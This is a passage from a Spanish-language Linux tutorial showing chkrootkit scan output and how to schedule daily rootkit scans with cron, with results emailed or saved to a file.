Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
Checking `chkutmp'...  The tty of the following user process(es) were not found
 in /var/run/utmp !
! RUID          PID TTY    CMD
! gentoo      15905 tty5   /usr/bin/X -nolisten tcp
chkutmp: nothing deleted

Automatizar utilizando cron.

Se ejutará cada día a las 3:00 am y enviará por emal el resultado.
Cree un fichero rootkit_cron en /etc/cron.d con la siguiente línea:

0  3  *  *  *    /usr/sbin/chkrootkit  |  mail  usuario@servidor -s "Resultado busqueda rootkit de fecha $(date)" 

Si prefiere enviarlo a un fichero:
0  3  *  *  *  /usr/sbin/chkrootkit  >  /tmp/rootkit

Alerta! en su distro la ruta a chkrootkit puede ser diferente.

Activar :
# crontab rootkit_cron

Listar las crontabs activas del usuario root:
# crontab -u root -l
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (rootkit_cron installed on Sun May  2 17:39:17 2010)
# (Cron version V5.0 -- $Id: crontab.c,v 1.12 2004/01/23 18:56:42 vixie Exp $)
0  3  *  *  *  /usr/sbin/chkrootkit > /tmp/rootkit

Linux es genial.